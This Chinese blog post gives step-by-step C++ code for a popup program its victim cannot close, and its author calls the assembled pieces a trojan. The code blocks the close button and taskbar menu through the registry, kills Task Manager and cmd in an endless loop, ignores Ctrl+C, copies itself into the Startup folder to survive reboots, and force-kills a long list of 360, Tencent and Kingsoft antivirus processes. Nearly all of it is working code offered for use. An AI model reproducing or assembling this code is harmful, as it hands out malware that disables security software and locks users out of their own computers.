我们来看一下,如果我们打开一个弹窗,怎样关闭它
#1 右上角叉号
![示例](https://img-blog.csdnimg.cn/direct/5e7c002c364e4ff2812ac40d37eade44.png#pic_center)
禁用不就得了?
#2 任务栏右键
![示例](https://img-blog.csdnimg.cn/direct/9e8bd86bfee44409a440f811dacdb865.png#pic_center)
也可以禁用啊!
#3 cmd
taskkill /f /t /im this_program.exe
这个禁用不了…但…循环结束它进程不就得了?
#4 任务管理器
禁用太麻烦,不如循环结束好
#5 Ctrl+C
果断禁用
#6 关机
做人留一线,日后好相见
我们不让他关不了机
让他重启之后还有😜!!!
#7 杀毒软件
果断结束进程
#8 无视
全屏
实现方法:
#1
void can_not_close(){
HWND hwnd=GetConsoleWindow();
HMENU hmenu=GetSystemMenu(hwnd,false);
RemoveMenu(hmenu,SC_CLOSE,MF_BYCOMMAND);
LONG style=GetWindowLong(hwnd, GWL_STYLE);
style&=~(WS_MINIMIZEBOX);
SetWindowLong(hwnd,GWL_STYLE,style);
SetWindowPos(hwnd,HWND_TOP,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE);
ShowWindow(hwnd,SW_SHOWNORMAL);
DestroyMenu(hmenu);
ReleaseDC(hwnd,NULL);
}
要包含windows.h头文件呦
#2
通过修改注册表将其禁用
int Can_not__main(){
const char* keyPath ="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer";
const char* valueName ="NoTrayContextMenu";
DWORD dataType =REG_DWORD;
DWORD data =1;
DWORD dataSize =sizeof(data);
if(ModifyRegistry(keyPath,valueName,dataType,reinterpret_cast<const BYTE*>(&data),dataSize)){
std::cout<<"成功禁用任务栏右键菜单!"<<std::endl;
}
else{
std::cerr<<"禁用任务栏右键菜单失败!"<<std::endl;
}
return 0;
}
#3
与 #4 一起实现
do{
system("taskkill /f /t /im taskmgr.exe");
system("taskkill /f /t /im cmd.exe");
system("Cls");
Sleep(1000);
}while(1);
#5
BOOL CtrlHandler(DWORD fdwCtrlType){
switch(fdwCtrlType){
case CTRL_C_EVENT:
cout<<"Ctrl+C pressed, but the program will not exit."<<std::endl;
return TRUE;
case CTRL_CLOSE_EVENT:
return TRUE;
case CTRL_BREAK_EVENT:
return FALSE;
case CTRL_LOGOFF_EVENT:
case CTRL_SHUTDOWN_EVENT:
return FALSE;
case WM_CLOSE:
return 0;
default:
return FALSE;
}
}
bool ModifyRegistry(const char* keyPath, const char* valueName, DWORD dataType, const BYTE* data, DWORD dataSize) {
HKEY hKey;
LONG result=RegOpenKeyExA(HKEY_CURRENT_USER,keyPath,0,KEY_WRITE,&hKey);
if (result==ERROR_SUCCESS) {
result=RegSetValueExA(hKey,valueName,0,dataType,data,dataSize);
RegCloseKey(hKey);
return(result==ERROR_SUCCESS);
}
return false;
}
#6
添加开机启动项
system("copy mine.lnk C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mine.lnk");
#7
system("taskkill /f /t /im WDSafeDown.exe");
system("taskkill /f /t /im 360Tray.exe");
system("taskkill /f /t /im 360LogCenter.exe");
system("taskkill /f /t /im PopWndTracker.exe");
system("taskkill /f /t /im WDPayPro.exe");
system("taskkill /f /t /im 360realpro.exe");
system("taskkill /f /t /im 360UDiskPro.exe");
system("taskkill /f /t /im wdfixsc.exe");
system("taskkill /f /t /im wdsandbox.exe");
system("taskkill /f /t /im WscReg.exe");
system("taskkill /f /t /im 360settingcenter.exe");
system("taskkill /f /t /im PopWndLog.exe");
system("taskkill /f /t /im 360PayInsure.exe");
system("taskkill /f /t /im EPSVHMiniDump64.exe");
system("taskkill /f /t /im 360Win7Shield.exe");
system("taskkill /f /t /im 360SPTool.exe");
system("taskkill /f /t /im wdswfsafe.exe");
system("taskkill /f /t /im 360UDiskGuard.exe");
system("taskkill /f /t /im 360sctblist.exe");
system("taskkill /f /t /im 360sclog.exe");
system("taskkill /f /t /im 360xpfix.exe");
system("taskkill /f /t /im 360Toasts.exe");
system("taskkill /f /t /im QQPCTray.exe");
system("taskkill /f /t /im QQPCRTP.exe");
system("taskkill /f /t /im QQPCMgr.exe");
system("taskkill /f /t /im QQProtect.EXE");
system("taskkill /f /t /im QQPMDaemon.exe");
system("taskkill /f /t /im KAVStart.exe");
system("taskkill /f /t /im KWatch.exe");
system("taskkill /f /t /im KMailMon.exe");
system("taskkill /f /t /im KMService.exe");
system("taskkill /f /t /im kxescore.exe");
system("taskkill /f /t /im kxetray.exe");
#8
void quanping(){
HWND hwnd=GetForegroundWindow();
int cx=GetSystemMetrics(SM_CXSCREEN);
int cy=GetSystemMetrics(SM_CYSCREEN);
LONG l_WinStyle=GetWindowLong(hwnd,GWL_STYLE);
SetWindowLong(hwnd,GWL_STYLE,(l_WinStyle|WS_MAXIMIZE|WS_POPUP)&~WS_CAPTION&~WS_THICKFRAME&~WS_BORDER);
SetWindowPos(hwnd,HWND_TOP,0,0,cx,cy,0);
return;
}
凑起来就是一个木马😂
#7要放在程序最前面!!!
代码不易,留赞留关注!!!🙏🙏🙏